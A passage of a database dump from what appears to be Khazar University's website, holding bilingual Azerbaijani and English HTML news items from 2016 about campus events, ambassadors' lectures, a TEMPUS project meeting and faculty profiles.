Beynəlxalq Əlaqələr Şöbəsinin komandası sosial şəbəkələrin birində əcnəbi müraciətçilər üçün canlı sual-cavab sessiyası keçirdi.','<p>2016-cı il aprelin 7-də Xəzər Universiteti Beynəlxalq\r\nƏlaqələr Şöbəsinin komandası sosial şəbəkələrin birində əcnəbi müraciətçilər\r\nüçün canlı sual-cavab sessiyası keçirdi.</p>\r\n<p>Bu sessiyasını keçirməkdə əsas məqsəd son müraciət\r\ntarixindən əvvəl əcnəbi müraciətçilərin ən çox rastlaşdığı suallara cavab verərək,\r\nonları bütün məlumatlarla təmin etmək idi. Bir saat ərzində Beynəlxalq Əlaqələr\r\nŞöbəsinin işçi heyəti və Xəzər Universitetinin Kamerundan olan tələbəsi Yannick\r\nAgbor (Neft mühəndisliyi üzrə magistr tələbəsi) univesitetin təklif etdiyi beynəlxalq\r\nproqramlar, qəbul və ərizə şərtləri, viza alınması, Azərbaycanda yaşayış xərcləri\r\nvə s. haqqında sualları cavablandırdılar. </p>\r\n<p>2016-2017-ci tədris ili üçün beynəlxalq qəbulun son müraciət\r\ntarixi 2016-cı il aprelin 15-i, cümə günü, Bakı vaxtı ilə saat 17:00-dır.&nbsp;</p>'),(1353,859,'az','Plagiat və onun qarşısının alınması yolları mövzusunda dəyirmi masa keçirildi','2016-cı il aprelin 7-də Hökumət Evində “Elmi, tədris və ədəbi əsərlərin mətnlərində plagiat və onun qarşısının alınması yolları” mövzusunda dəyirmi masa keçirildi. Tədbir Azərbaycan Respublikası Müəllif Hüquqları Agentliyi və Təhsil Nazirliyinin birgə təşkilatçılığı ilə baş tutdu.','<div><br></div><div><p>2016-cı il aprelin 7-də Hökumət\r\nEvində “Elmi, tədris və ədəbi əsərlərin mətnlərində plagiat və onun qarşısının\r\nalınması yolları” mövzusunda dəyirmi masa keçirildi. Tədbir Azərbaycan\r\nRespublikası Müəllif Hüquqları Agentliyi və Təhsil Nazirliyinin birgə təşkilatçılığı\r\nilə baş tutdu. Dəyirmi masa iştirakçıları plagiatın yaranma səbəbləri, hazırda\r\naparılan müəyyən mübarizə tədbirləri və mövcud vəziyyətdən çıxış yollarını\r\ngeniş müzakirə etdilər. </p>\r\n<p>Dəyirmi masada iştirak edən Xəzər\r\nUniversitetinin Siyasi elm və beynəlxalq münasibətlər departamentinin müdiri,\r\nsiyasi elmlər üzrə fəlsəfə doktoru Muxtar Hacızadə keçirilən tədbirin ölkəmiz\r\nüçün çox aktual mövzuya toxunan bir ilk olmasının önəmini qeyd etdi. Xəzər\r\nUniversitetində aparılan müəyyən mübarizə tədbirləri haqqında məlumat verdi,\r\nölkəmizdə akademik dürüstlüyün təmin olunmasının vacibliyini vurğuladı, bunun\r\nvicdanlı vətəndaşlardan ibarət bir cəmiyyətin formalaşması üçün gətirəcəyi\r\nfaydasını qeyd etdi.</p>  <br></div>'),(1354,859,'en','Roundtable Discussion Plagiarism and Solutions','On April 7, 2016, a roundtable discussion entitled “Plagiarism in Scientific, Academic and Literary Texts and How to Prevent it” was held at the Government House of Baku. The event was jointly coordinated by the Copyright Agency of the Azerbaijan Republic and the Ministry of Education.','<div><br></div><div><p>On April 7, 2016, a roundtable discussion entitled\r\n“Plagiarism in Scientific, Academic and Literary Texts and How to Prevent it”\r\nwas held at the Government House of Baku. The event was jointly coordinated by\r\nthe Copyright Agency of the Azerbaijan Republic and the Ministry of Education.\r\nThe roundtable covered the factors motivating plagiarism, current measures put\r\nin place to prevent it, and further possible solutions. </p>\r\n<p>Dr. Mukhtar Hajizada, Head of the Department of Political\r\nScience and International Relations at Khazar University, participated in the\r\ndiscussion and noted the significance of the event for the current situation.\r\nHe also spoke about anti-plagiarism measures taken at Khazar University and the\r\nimportance of ensuring academic integrity in our country in order to raise up a\r\nsociety of conscientious citizens.&nbsp;</p>  <br></div>'),(1356,860,'en','Khazar Public Relations and Media Director Attends 19th Eurasian Economic Summit','On April 5-7, 2016, the Eurasian Economic Summit was held in Istanbul. Alovsat Amirbeyli, Director for Public Relations and Media at Khazar University, was among the 450 Summit participants from 44 countries, including country presidents, prime ministers, ministers and members of parliament.  ','<p>On\r\nApril 5-7, 2016, the Eurasian Economic Summit was held in Istanbul. Alovsat\r\nAmirbeyli, Director for Public Relations and Media at Khazar University, was\r\namong the 450 Summit participants from 44 countries, including country\r\npresidents, prime ministers, ministers and members of parliament.&nbsp; </p>\r\n<p>On\r\nthe first day of the event, A.Amirbeyli met with Tugrul Turkes, Deputy Prime\r\nMinister of the Republic of Turkey. He gave T.Turkes detailed information about\r\nKhazar University, and they discussed various issues. </p>\r\n<p>On\r\nthe second day of the Summit, various country presidents gave political\r\nspeeches about the current situation in the world. Nazim Ibrahimov, Chairman of\r\nthe Azerbaijan Republic State Committee on Work with the Diaspora, also\r\nspoke.&nbsp; Deputy Prime Ministers Mehmet Simsek and Tugrul Turkes spoke on\r\nbehalf of Turkey. They condemned the Armenian aggression against Azerbaijan and\r\nprayed Al-Fatiha for the souls of Azerbaijanis who have been killed in recent\r\nfighting to protect the territorial integrity of Azerbaijan. On the same day,\r\nAbdullah Gul, former President of Turkey, participated as the Summit’s Honored\r\nGuest and gave several messages including a statement that they would always\r\nsupport Azerbaijan. </p>\r\n<p>On\r\nthe third day of the Summit, the main item on the agenda was terrorism. This\r\ndiscussion on this topic included speeches by many internationally known\r\nreligious figures from the Caucasus, the Middle East, and Europe. Azerbaijani\r\nrepresentatives participating in the Summit included Valeh Alasgarov, Deputy\r\nChairman of Parliament; Natig Aliyev, Minister of Energy; Nazim Ibrahimov,\r\nChairman of the Azerbaijan Republic State Committee on Work with the Diaspora;\r\nAllahshukur Pashazade, Sheikh ul-Islam and Grand Mufti of the Caucasus; Nizami\r\nJafarov, Member of Parliament; and Hasan Zeynalov, Ambassador Extraordinary and\r\nPlenipotentiary of Azerbaijan to Turkmenistan. </p>\r\n<p>At\r\nthe end of the Summit, Dr. Akkan Suver, Head of the Marmara Group, thanked all\r\nthe participants on behalf of the organizing committee. </p>\r\n<p>&nbsp;</p>'),(1357,861,'az','Tempus layihəsi üzrə yekun konfrans keçirildi','2016-cı il aprelin 9-da Xəzər Universitetinin koordinator olduğu “Avropa Birliyi araşdırmaları üzrə kurrikulumların işlənib hazırlanması və qabiliyyətlərin inkişaf etdirilməsi” (Curriculum Development and Capacity Building in the Field of EU Studies) adlı Tempus layihəsi çərçivəsində yekun konfrans keçirildi.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı\r\nil aprelin 9-da Xəzər Universitetinin koordinator olduğu “Avropa Birliyi\r\naraşdırmaları üzrə kurrikulumların işlənib hazırlanması və qabiliyyətlərin\r\ninkişaf etdirilməsi” (<em>Curriculum Development and\r\nCapacity Building in the Field of EU Studies</em><em>) </em>adlı Tempus\r\nlayihəsi çərçivəsində yekun konfrans keçirildi. Layihənin koordinatoru Baba\r\nBayramlı konfransı giriş sözü ilə açaraq bütün tərəfdaş universitetlərə uğurlu\r\nbirgə fəaliyyət üçün təşəkkür etdi. Xəzər Universitetinin rektoru Dr. Hassan\r\nNiknafs bütün iştirakçıları səmimi salamlayaraq, Xəzər Universitetinin layihə çərçivəsində\r\nəməkdaşlıqdan məmnun qaldığını ifadə etmiş və əməkdaşlığın gələcəkdə də davam\r\netdirilməsinin zəruri olduğunu bildirdi. Erasmus+ ofisinin Azərbaycan Milli\r\nOfisisnin rəhbəri Pərviz Bağırov iştirakçıları layihə çərçivəsində fəaliyyətlərin\r\nbaşa çatması münasibətilə təbrik etdi, baş tutmuş əməkdaşlığın gələcəkdə davam\r\netdirilməsinin vacibliyini vurğuladı və bu işdə Erasmus+ ofisinin yardımçı\r\nolmağa hazır olduğunu bildirdi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Baba\r\nBayramlı “Avropa Birliyi araşdırmaları üzrə kurrikulumların işlənib\r\nhazırlanması və qabiliyyətlərin inkişaf etdirilməsi: layihənin nəticələri və gələcək\r\nəməkdaşlığın perspektivləri” mövzusunda geniş təqdimatla çıxış etdi. Tərəfdaş\r\nuniversitetlərin nümayəndələri Agostino Massa (İtaliyanın Genuya Universiteti),\r\nBəxtiyar Bədəlov (Azərbaycan Universiteti), Seyid Sura (Naxçıvan Dövlət\r\nUniversiteti), Ruslan Məmmədov (Gəncə Dövlət Universiteti), İrina Kunina (Bakı\r\nSlavyan Universiteti), Fernanada Neutel (Portuqaliyanın Lusofona Humanitar və\r\nTexnologiya Universiteti), Leyla Cəfərova (Xəzər Universiteti) və Fərhad\r\nHüseynov (Bakı Dövlət Universiteti) da təqdimatla çıxış edərək, layihə çərçivəsində\r\ntəmsil etdikləri universitetlərin uyğun fəaliyyətləri haqqında məlumat verdilər.\r\n</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Sonda\r\nlayihənin nəticələrinə və gələcək əməkdaşlıq perspektivlərinə həsr olunmuş dəyirmi\r\nmasa keçirildi.</p>'),(1358,861,'en','Final Meeting for TEMPUS Project','On April 9, 2016, a final meeting was held for the Curriculum Development and Capacity Building in the Field of EU Studies TEMPUS project coordinated by Khazar University. Baba Bayramli, Project Coordinator, opened the event by thanking all the partner universities for their successful teamwork. ','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On April 9, 2016, a final meeting was held\r\nfor the Curriculum Development and Capacity Building in the Field of EU Studies\r\nTEMPUS project coordinated by Khazar University. Baba Bayramli, Project\r\nCoordinator, opened the event by thanking all the partner universities for\r\ntheir successful teamwork. Dr. Hasan Niknafs, Khazar University President, said\r\nhe was pleased with the project and encouraged the consortium to continue its\r\npartnership in the future. Parviz Baghirov, Director of the ERASMUS+ national\r\noffice in Azerbaijan, congratulated participants on completion of the project and\r\nsaid that his office would always be ready to assist with future partnerships. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Baba Bayramli made a detailed report on\r\nthe project entitled “Curriculum Development and Capacity Building in the Field\r\nof EU Studies: Project Results and Opportunities for Further Partnership.”\r\nOther participants who made speeches and spoke about the project results as\r\nrepresentatives of various partner organizations included: Agostino Massa\r\n(University of Genoa, Italy), Bakhtiyar Badalov (Azerbaijan University), Seyid\r\nSura (Nakhchivan State University), Ruslan Mammadov (Ganja State University),\r\nIrina Kunina (Baku Slavic University), Fernanada Neutel (The Lusophone\r\nUniversity of Humanities and Technology, Portugal), Leyla Jafarova (Khazar\r\nUniversity), and Farhad Huseynov (Baku State University). </p>\r\nAt the end of the\r\nevent, a roundtable discussion on project results and future partnership was\r\nheld.'),(1359,862,'az','Xəzər Universitetinin müəllim və tələbələri məktəblilərlə görüşəcəklər','2016-cı il aprelin 16-sı saat 10:00-da Xəzər Universitetinin müəllim və tələbələrinin Hövsan qəsəbəsi 118 saylı məktəbin müəllim və şagirdləri ilə görüşü keçiriləcək.','<p>2016-cı il aprelin 16-sı saat 10:00-da Xəzər\r\nUniversitetinin müəllim və tələbələrinin Hövsan qəsəbəsi 118 saylı məktəbin müəllim\r\nvə şagirdləri ilə görüşü keçiriləcək.</p>\r\n<p>İştirak etmək istəyənlər Coğrafiya və ətraf mühit\r\ndepartamentinin müdiri Rövşən Abbasova (e-mail: <a href=\"mailto:rabbasov@khazar.org\">rabbasov@khazar.org</a>) müraciət edə bilərlər.</p>'),(1360,862,'en','Khazar University Faculty and Students to meet with School Pupils','On April 16, 2016 at 10:00, Khazar University faculty members and students will hold a meeting with pupils of School number 118 in Hovsan. ','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On April 16, 2016 at\r\n10:00, Khazar University faculty members and students will hold a meeting with\r\npupils of School number 118 in Hovsan. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Anyone wishing to\r\nattend is requested to contact Dr. Rovshan Abbasov, Chair of the Department of\r\nGeography and the Environment, at <a href=\"mailto:rabbasov@khazar.org\">rabbasov@khazar.org</a>.&nbsp;</p>'),(1361,863,'az','Xəzər Universitetinin müəllim və tələbələri məktəblilərlə görüşəcəklər','2016-cı il aprelin 16-sı saat 10:00-da Xəzər Universitetinin müəllim və tələbələrinin Hövsan qəsəbəsi 118 saylı məktəbin müəllim və şagirdləri ilə görüşü keçiriləcək.','<p>2016-cı il aprelin 16-sı saat 10:00-da Xəzər\r\nUniversitetinin müəllim və tələbələrinin Hövsan qəsəbəsi 118 saylı məktəbin müəllim\r\nvə şagirdləri ilə görüşü keçiriləcək.</p>\r\n<p>İştirak etmək istəyənlər Coğrafiya və ətraf mühit\r\ndepartamentinin müdiri Rövşən Abbasova (e-mail: <a href=\"mailto:rabbasov@khazar.org\">rabbasov@khazar.org</a>) müraciət edə bilərlər.</p>'),(1362,863,'en','Khazar University Faculty and Students to meet with School Pupils','On April 16, 2016 at 10:00, Khazar University faculty members and students will hold a meeting with pupils of School number 118 in Hovsan.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On April 16, 2016 at\r\n10:00, Khazar University faculty members and students will hold a meeting with\r\npupils of School number 118 in Hovsan. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Anyone wishing to\r\nattend is requested to contact Dr. Rovshan Abbasov, Chair of the Department of\r\nGeography and the Environment, at <a href=\"mailto:rabbasov@khazar.org\">rabbasov@khazar.org</a>.&nbsp;</p>'),(1363,864,'en','Khazar University Book Presentation in Media','On April 11, 2016, an article was published on the official website of “Ses” (Voice) newspaper about a presentation of the book Literary Roots of Azerbaijani Multiculturalism that was held at Khazar University within the Roots of Azerbaijani Multiculturalism series. ','<p>On April 11,\r\n2016, an article was published on the official website of “Ses” (Voice)\r\nnewspaper about a presentation of the book Literary Roots of Azerbaijani\r\nMulticulturalism that was held at Khazar University within the Roots of\r\nAzerbaijani Multiculturalism series. </p>\r\n<p>The full\r\ntext of the article is available at the following link: </p>\r\n<a href=\"http://sesqazeti.az/az/news/social/536940\">http://sesqazeti.az/az/news/social/536940</a>.'),(1364,864,'az','Xəzər Universitetində təqdimatı keçirilmiş kitabdan yazdılar','2016-cı aprelin 11-də “Səs” qəzetinin rəsmi İnternet səhifəsində Azərbaycan Respublikasının Prezidenti yanında Bilik Fondunun təşkilatçılığı ilə Bakı Beynəlxalq Multikulturalizm Mərkəzinin “Azərbaycan multikulturalizminin qaynaqları” seriyasından Xəzər Universitetində təqdimatı keçirilmiş','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\">2016-cı aprelin 11-də “Səs” qəzetinin rəsmi İnternet səhifəsində\r\nAzərbaycan Respublikasının Prezidenti yanında Bilik Fondunun təşkilatçılığı ilə\r\nBakı Beynəlxalq Multikulturalizm Mərkəzinin “Azərbaycan multikulturalizminin\r\nqaynaqları” seriyasından Xəzər Universitetində təqdimatı keçirilmiş “Azərbaycan\r\nmultikulturalizminin ədəbi-bədii qaynaqları” kitabı haqqında yazı\r\nyayınlanmışdır.</p>\r\n<p>Yazını tam şəkildə bu\r\nlinkdən oxumaq olar:</p>\r\n<p><a href=\"http://sesqazeti.az/az/news/social/536940\">http://sesqazeti.az/az/news/social/536940</a>.&nbsp;</p>'),(1365,865,'az','Plagiatçılığın qarşısının alınmasına çalışılır','2016-cı aprelin 11-də bir çox xəbər saytları Təhsil Nazirliyinin Müəllif Hüquqları Agentliyi ilə birgə elmi, tədris və ədəbi əsərlərin mətnlərində plagiat və onun qarşısının alınması ilə bağlı keçirdiyi tədbir haqqında xəbər yaymışdır.','<p>2016-cı aprelin 11-də\r\nbir çox xəbər saytları Təhsil Nazirliyinin Müəllif Hüquqları Agentliyi ilə birgə\r\nelmi, tədris və ədəbi əsərlərin mətnlərində plagiat və onun qarşısının alınması\r\nilə bağlı keçirdiyi tədbir haqqında xəbər yaymışdır. Tədbirdə Xəzər\r\nUniversiteti Siyasi elm və beynəlxalq münasibətlər departamentinin müdiri Dr\r\nMuxtar Hacızadə təmsil etmişdir. Tədbir haqqında daha ətraflı bu linklərdən məlumat\r\nalmaq olar:</p>\r\n<p><a href=\"http://azpress.az/index.php?lang=az&amp;sectionid=news&amp;id=51346\">http://azpress.az/index.php?lang=az&amp;sectionid=news&amp;id=51346</a>;</p>\r\n<p><a href=\"http://www.butov.az/xeber/sosial/4314-elmi-eserlerin-ogurlanmasina-qarshi-mubarize-guclendirilir.html\">http://www.butov.az/xeber/sosial/4314-elmi-eserlerin-ogurlanmasina-qarshi-mubarize-guclendirilir.html</a>;</p>\r\n<p><a href=\"http://virtualaz.org/bugun/67428\">http://virtualaz.org/bugun/67428</a>.</p>'),(1366,865,'en','Anti-Plagiarism Measures Taken','On April 11, 2016, articles were published on many news sites about an event held jointly by the Copyright Agency of the Azerbaijan Republic and the Ministry of Education on “Plagiarism in Scientific, Academic and Literary Texts and How to Prevent it.','<p>On\r\nApril 11, 2016, articles were published on many news sites about an event held\r\njointly by the Copyright Agency of the Azerbaijan Republic and the Ministry of\r\nEducation on “Plagiarism in Scientific, Academic and Literary Texts and How to\r\nPrevent it.” Dr. Mukhtar Hajizada, Head of the Department of Political Science\r\nand International Relations at Khazar University, represented Khazar in the\r\ndiscussion. More information about the event is available at the following\r\nsites: </p>\r\n<p>&nbsp;</p>\r\n<p><a href=\"http://azpress.az/index.php?lang=az&amp;sectionid=news&amp;id=51346\">http://azpress.az/index.php?lang=az&amp;sectionid=news&amp;id=51346</a>;</p>\r\n<p><a href=\"http://www.butov.az/xeber/sosial/4314-elmi-eserlerin-ogurlanmasina-qarshi-mubarize-guclendirilir.html\">http://www.butov.az/xeber/sosial/4314-elmi-eserlerin-ogurlanmasina-qarshi-mubarize-guclendirilir.html</a>;</p>\r\n<p><a href=\"http://virtualaz.org/bugun/67428\">http://virtualaz.org/bugun/67428</a>.</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>'),(1367,866,'en','British Ambassador Speaks at Khazar about The Commonwealth and ‘Brexit’ ','On April 8, 2016, the Department of Political Science and International Relations of Khazar University hosted the British ambassador to Azerbaijan, H.E. Irfan Siddiq. His speech was mainly dedicated to the Commonwealth of Nations and the discussion of the main principles upon which this intergovernmental organization operates.','On April 8, 2016, the\r\nDepartment of Political Science and International Relations of Khazar\r\nUniversity hosted the British ambassador to Azerbaijan, H.E. Irfan Siddiq. His\r\nspeech was mainly dedicated to the Commonwealth of Nations and the discussion\r\nof the main principles upon which this intergovernmental organization operates.\r\nMr. Siddiq provided a general overview of the institutions that function within\r\nthese organizations, including the Commonwealth Secretariat and the Commonwealth\r\nFoundation, and elaborated on the purposes and decision-making functions of the\r\nCommonwealth Heads of Government Meeting. He then moved on to speak about the\r\nBritish participation in the EU and the upcoming referendum on European Union\r\nmembership of Britain. The Ambassador also spoke about the main pro and con\r\narguments with regards to the UK\'s possible withdrawal from the European Union.\r\nHe wrapped up his speech by mentioning some of the achievements he has made for\r\nthe progress of the British-Azerbaijani relationship during his term as\r\nAmbassador.   <div><p>While\r\nvisiting Khazar, H.E. Irfan Siddiq also met with Dr. Hasan Niknafs, President\r\nof the University. </p>  <br></div>'),(1368,867,'az','“İnamla danış! Uğurlu çıxışın üç sirri” adlı təqdimat keçirildi','2016-cı il aprelin 8-də İnkişaf Mərkəzinin təşkilatçılığı, kommunikasiya və auditoriya qarşısında çıxışlar üzrə aparıcı ekspert Rəşad Bayramovun iştirakı ilə Xəzər Universitetində “İnamla danış! Uğurlu çıxışın üç sirri” adlı təqdimat keçirildi. ','<p>2016-cı il aprelin 8-də İnkişaf Mərkəzinin təşkilatçılığı,<strong> </strong>kommunikasiya\r\nvə auditoriya qarşısında çıxışlar üzrə aparıcı ekspert Rəşad Bayramovun\r\niştirakı ilə Xəzər Universitetində “İnamla danış! Uğurlu çıxışın üç sirri” adlı\r\ntəqdimat keçirildi. Tədbirdə universitetin tələbələri və əməkdaşları iştirak\r\nedirdilər. </p>\r\n<p>Təqdimat qarşılıqlı diskussiya şəklində keçdi, tələbələr tərəfindən\r\nböyük maraqla qarşılandı və yüksək qiymətləndirildi.&nbsp;</p>'),(1369,867,'en','“Speak confidently! Three secrets of a successful presentation” Training','On April 8, 2016, the university’s Development Center hosted a training event entitled “Speak confidently! Three secrets of a successful presentation” led by Rashad Bayramov, leading expert in communications and presentations.','<p>On April 8, 2016, the university’s Development Center\r\nhosted a training event entitled “Speak confidently! Three\r\nsecrets of a successful presentation” led by Rashad Bayramov, leading expert in\r\ncommunications and presentations. University students and\r\nstaff members participated in the presentation, which was held in an\r\ninteractive discussion format and was highly evaluated by participants.&nbsp;</p>'),(1370,868,'az','“International Group for Educational Consultancy” şirkəti ilə görüş keçirildi','2016-cı il aprelin 6-da Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı “International Group for Educational Consultancy” (IGEC, Təhsil Məsləhəti üzrə Beynəlxalq Qrup) şirkətinin nümayəndələri ilə universitetinin “Neftçilər” kampusunda görüşdü.','<p>2016-cı il aprelin 6-da Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlı “International Group for\r\nEducational Consultancy” (IGEC, Təhsil Məsləhəti üzrə Beynəlxalq Qrup) şirkətinin\r\nnümayəndələri ilə universitetinin “Neftçilər” kampusunda görüşdü.</p>\r\n<p>IGEC şirkətini İordaniyadakı Baş ofisinin regional\r\ndirektoru Dr. Derar H. Balavi və Bakı ofisində çalışan Xaricdə Təhsil üzrə\r\ndirektor Ülviyyə Cəlilzadə təmsil edirdi. Xəzər Universitetindən görüşdə, həmçinin,\r\nrektor Dr. Hassan Niknafs və Beynəlxalq Əlaqələr Şöbəsinin direktoru Turan Cəfərova\r\niştirak edirdilər.</p>\r\n<p>Görüşdə əməkdaşlıq imkanları müzakirə olundu. &nbsp;</p>'),(1371,868,'en','Meeting with International Group for Educational Consultancy','On April 6, 2016, Professor Hamlet Isaxanli, the Founder of Khazar University and the Chairman of its Board of Directors and Trustees, met with representatives of the International Group for Educational Consultancy (IGEC). The meeting took place at the Neftchilar campus of Khazar University.','<p>On\r\nApril 6, 2016, Professor Hamlet Isaxanli, the Founder of Khazar University and\r\nthe Chairman of its Board of Directors and Trustees, met with representatives\r\nof the International Group for Educational Consultancy (IGEC). The meeting took\r\nplace at the Neftchilar campus of Khazar University. </p>\r\n<p>&nbsp;</p>\r\n<p>The\r\ntwo representatives of IGEC included Dr. Derar H. Bal’awi, the regional manager\r\nand the Director for Research, Training and Development based in Jordan, and\r\nMs. Ulviyya Jalilzadeh, the manager of the local branch, and Study Abroad\r\nBranch Director. Participants from Khazar University also included Dr. Hassan\r\nNiknafs, President of the university, and Ms. Turan Jafarova, Director of the\r\nInternational Affairs Office.&nbsp; </p>\r\n<p>&nbsp;</p>\r\n<p>Participants\r\nof the meeting discussed opportunities for cooperation.&nbsp;</p>'),(1372,869,'az','Norveç səfirinin  “Xəzər”də mühazirəsi ','Aprelin 1-də Xəzər Universitetinin Siyasi elm və beynəlxalq münasibətlər departamentinin təşkilatçılığı ilə Norveçin Azərbaycandakı səfiri Bard Ivar Svendsen Norveçin regional inteqrasiya proseslərində iştirakı haqqında mühazirə ilə çıxış etdi. Mühazirədən əvvəl o, Xəzər universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı ilə görüşdü.','<p>Aprelin\r\n1-də Xəzər Universitetinin Siyasi elm və beynəlxalq münasibətlər\r\ndepartamentinin təşkilatçılığı ilə Norveçin Azərbaycandakı səfiri Bard\r\nIvar Svendsen Norveçin regional inteqrasiya proseslərində iştirakı haqqında\r\nmühazirə ilə çıxış etdi. Mühazirədən əvvəl o, Xəzər universitetinin təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı ilə görüşdü.</p>\r\n<p>Mühazirəsinin&nbsp;\r\nəvvəlində səfir ölkəsinin regiondakı siyasətinə təsir göstərmiş tarixi amillərdən\r\nbəhs etdi. Norveç və Avropa İttifaqı (Aİ) haqqında danışarkən, Aİ-yə üzv\r\nolmayan Norveçi ittifaqın daxili bazarına məhdudiyyətsiz giriş ilə təmin edən\r\nAvropa İqtisadi Sahəsi haqqında Saziş barəsində ətraflı məlumat verdi. O, həmçinin,\r\nNorveçin Aİ-yə üzv olmaq istəməməsinin səbəbləri haqqında danışdı, Norveçin\r\nregional səviyyədə əməkdaşlıq etdiyi “Nordic-Baltic 8” formatı, Arktik Şura və\r\nBarens Əməkdaşlığı haqqında da məlumat verdi.</p>'),(1373,869,'en','Norwegian Ambassador Speaks at Khazar University','On April 1, the Department of Political Science and International Relations hosted H. E. Bård Ivar Svendsen, Norwegian Ambassador to Azerbaijan, to discuss Norway\'s participation in regional integration processes. Before his lecture, he met with Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees.','<p>On\r\nApril 1, the Department of Political Science and International Relations hosted\r\nH. E. Bård Ivar Svendsen, Norwegian Ambassador to Azerbaijan, to discuss\r\nNorway\'s participation in regional integration processes. Before his lecture,\r\nhe met with Professor Hamlet Isaxanli, the founder of Khazar University and\r\nChairman of its Board of Directors and Trustees. </p>\r\n<p>He\r\nstarted his speech by providing historical background on the factors that\r\nshaped Norway\'s policies in the Nordic region. He then discussed relations\r\nbetween Norway and the European Union, which are defined through the agreement\r\non the European Economic Area granting Norway, which is not a member state of\r\nthe EU, access to the EU internal market. He also spoke about factors that have\r\ninfluenced Norway\'s unwillingness to become part of the EU, the Nordic-Baltic cooperation,\r\nthe Arctic Council, and the Barents Cooperation.</p>'),(1376,872,'en',' Khalid Mukhtarov',' Khalid Mukhtarov','<div><br></div><div><img src=\"/files/image/14_09_09_Khalid_Mukhtarov.jpg\" style=\"width:150px;height:205px;margin:7px;float:left\"><br></div><div><div><strong>Dr. Khalid Mukhtarov</strong></div><div>Department of Geography and Environment</div><div>AZ 1096 Mehseti str. 11, Baku, Azerbaijan</div><div><strong>Email:</strong>&nbsp;<a href=\"mailto:kmukhtarli@khazar.org\">kmukhtarli@khazar.org</a>&nbsp;&nbsp;</div><div><strong>Phone:</strong>&nbsp;+994 503360712</div><div><strong>&nbsp;</strong></div><div><strong>Research:</strong>&nbsp;Meteorology, Hydrology, Disaster risk reduction, hydrology, climate changes, forecasting, meteorological observations.</div><div><strong>&nbsp;</strong></div><div><strong>Education:</strong></div><div>Doctoral fellow, Russian Geophysical Observatory, 1986-1987</div><div>Azerbaijan State University, 1970-1975</div><div>&nbsp;</div><div>&nbsp;</div><div><strong>Membership in Professional organizations:</strong></div><ul><li>Member of the International Mountain Society</li><li>Member of the Global Water Partnership (2007-2010)</li><li>Member of International Association of Hydrological Sciences</li><li>Member of Azerbaijan Geography Society</li></ul><div>&nbsp;</div><div><strong>Professional activity:</strong></div><ul><li>Blacksmith Institute field investigator</li><li>National Hydrometeorological Department consultant</li></ul><div><strong>&nbsp;</strong></div><div><strong>Se</strong><strong>lected publications:</strong></div><ol><li><strong>Mukhtarov Kh.</strong>&nbsp;2013 “Sea hydrometeorological forecasting methods”&nbsp; Baku</li><li><strong>Mukhtarov Kh</strong>.&nbsp; 2013 “Hydrometeorological specifications in Heft Dashlary region” Baku</li><li><strong>Mukhtarov Kh.</strong>&nbsp;2009 “Meteorological information – measure systems and observations” Baku</li><li><strong>Mukhtarov Kh.</strong>&nbsp;2010&nbsp; “ The manual for observations on snow cover” Baku</li><li><strong>Mukhtarov Kh.</strong>&nbsp;2010&nbsp; “Climate’s code” Baku</li><li><strong>Mukhtarov Kh.</strong>&nbsp;2010&nbsp; “ MK-01 code for the operative transport of hydrometeorological observation information over earth surface and sea stations” Baku</li><li><strong>Mukhtarov Kh.</strong>&nbsp;2010&nbsp;&nbsp; “The manual for hydrometeorological stations and points” Issue 3, part 1</li><li><strong>Mukhtarov Kh.</strong>&nbsp;2010&nbsp; “The manual for hydrometeorological stations and points” Issue 2, part 1,&nbsp;</li></ol>  <br></div>'),(2230,1362,'en','Student Union Meeting with Freshmen','On October 1, 2016, the Khazar University Student Union held a meeting with freshmen. Gurban Asgarov, Student Union President for the 2016-2017 academic year...','<p>On October 1, 2016, the\r\nKhazar University Student Union held a meeting with freshmen. Gurban Asgarov,\r\nStudent Union President for the 2016-2017 academic year, and his deputies spoke\r\nto nearly 200 new students about the activities of the Student Union. The event\r\norganizers also answered students’ questions. </p>\r\n<p>At the end of the\r\nevent, new students filled out questionnaires about their suggestions. </p>\r\n<p>Students of the School\r\nof Economics and Management were unable to attend the meeting because of a\r\nscheduling conflict, so a separate meeting with them was planned for next week.&nbsp;</p>'),(2231,1363,'en','Meeting with New Participants of Management Training Course for Potential School Directors','On September 27, 2016, the coordinators of the Management Training Course for Potential School Directors met with participants of the 5th iteration of the course...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">On\r\nSeptember 27, 2016, the coordinators of the Management Training Course for\r\nPotential School Directors met with participants of the 5<sup>th</sup>\r\niteration of the course at Khazar University. They gave the new participants\r\ndetailed information about the course and answered their questions.&nbsp;</p>'),(1377,873,'en',' Reshail Ismayilov',' Reshail Ismayilov','<div><br></div><div><img src=\"/files/image/14_09_15_Reshail_ismayilov.jpg\" style=\"width:150px;height:189px;margin:7px;float:left\"><br></div><div><div><strong>Dr. Rashail Ismayilov</strong></div><div>Department of Geography and Environment</div><div>AZ 1096 Mehseti str. 11, Baku, Azerbaijan</div><div><strong>Email:</strong>&nbsp;<a 